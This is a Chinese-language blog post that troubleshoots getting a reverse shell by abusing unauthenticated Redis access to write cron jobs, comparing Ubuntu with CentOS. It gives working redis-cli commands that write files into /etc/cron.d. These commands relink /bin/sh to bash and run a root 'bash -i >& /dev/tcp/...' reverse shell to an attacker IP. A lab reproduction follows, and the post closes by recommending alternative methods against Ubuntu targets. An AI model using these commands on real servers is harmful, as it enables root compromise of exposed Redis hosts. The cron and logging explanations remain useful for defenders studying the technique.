0%

redis未授权写定时任务反弹shell出错解析

前言

第二次在总结redis未授权利用方式写crontab时,使用的是Ubuntu,发现反弹shell失败。然而第一次用CentOs时却没有此问题出现。特此刨根问底总结一下原因。

0x01 cron服务和crontab命令

1.cron和crontab

Linux存在需要定期执行的任务-例行性工作,分为用户设置的例行性任务和系统层面的例行性任务,其中:

  • cron:执行计划命令的守护程序,会每分钟检查是否有任务需要执行
  • crontab:维护某用户crontab 文件的命令
  • cron 会查找/var/spool/cron/crontabs/ 目录下的文件及 /etc/crontab 文件中所有 crontab 命令,并读入内存中。

具体crontab和cron用man自行查看

2.ubuntu的cron程序位置

ubuntu下可利用的cron包括:

  • /var/spool/cron/crontabs/:该目录下定义的任务计划文件会被执行,前提是该任务计划文件的权限必须为600

  • /etc/crontab:该文件里面的任务计划可直接执行,负责调度各种管理和维护任务

  • /etc/cron.d/*:存放任何要执行的crontab文件或脚本。该目录下任意文件都可被当作任务计划执行,且避免原先任务计划文件被覆盖

  • 还可以把脚本放在其他目录,包括

    /etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。

/etc/crontab参数含义:

m:分钟 - 从0到59的整数

h:小时 - 从0到23的整数

dom:天 - 从1到31的整数 (必须是指定月份的有效日期)

mon:月 - 从1到12的整数 (或如Jan或Feb简写的月份)

dow:周一到周日 - 从0到7的整数,0或7用来描述周日 (或用Sun或Mon简写来表示)

user:指的是执行命令的用户

command: 需要执行的命令

表示参数所有可用的值,如果为5个,就代表每分钟执行一次

/:指定步进设置。“/”表示步进值,比如*/2 * * * *代表每两分钟执行一次任务

0x02 查找原因

查看/var/log/syslog可找到相关日志。因syslog记录系统所有日志信息。

1.写/var/spool/cron目录时

提示命令执行出现错误,ubuntu会将这些错误信息输出到ubuntu系统的邮件服务器,但是ubuntu系统默认没有安装邮件服务器,所以导致了错误

错误原因包括:

  1. /var/spool/cron/crontabs/权限不对劲,并非600
  2. ubuntu的cron的shell环境为/bin/sh

针对原因2可采用第二种方式:

2.写/etc/cron.d目录时

此时step1先更改/bin/sh为/bash,step2使用bash反弹shell。

1
2
3
4
5
6
7
8
set aaa "nnnn* * * * * root ln -s -f bash /bin/shnnnn"
config set dir /etc/cron.d
config set dbfilename step1
save
set bbb "nnnn* * * * * root bash -i >& /dev/tcp/192.168.0.101/7777 0>&1nnnn"
config set dir /etc/cron.d
config set dbfilename step2
save

成功创建任务计划step1和step2,但是还是无法反弹shell。错误日志显示语法错误

原因:redis向任务计划文件里写内容出现乱码而导致的语法错误。

  • centos会忽略乱码去执行格式正确的任务计划
  • ubuntu并不会忽略这些乱码,所以导致命令执行失败,作为正常用户向/etc/cron.d目录下写任务计划文件时,命令可以正常执行。利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据

0x03 复现

具体环境搭建不再赘述

靶机:CentOS 192.168.140.132

攻击机:Kali 192.168.140.130

CentOS启动redis服务:

kali监听本机9999端口的返回任务

kali写入定时任务

写入成功,直接拿到root下的bash

0x04 总结

ubuntu确实设计比centos安全,建议遇到ubuntu还是用其他两种方式。具体利用方式参考上一篇文章。

参考

  1. https://cloud.tencent.com/developer/news/301606
  2. https://www.dazhuanlan.com/2019/11/18/5dd20bda178db/
  3. https://www.anquanke.com/post/id/241146
  4. Linux日志排查:https://baijiahao.baidu.com/s?id=1613381635234443098&wfr=spider&for=pc
你想在文章末尾对读者说的话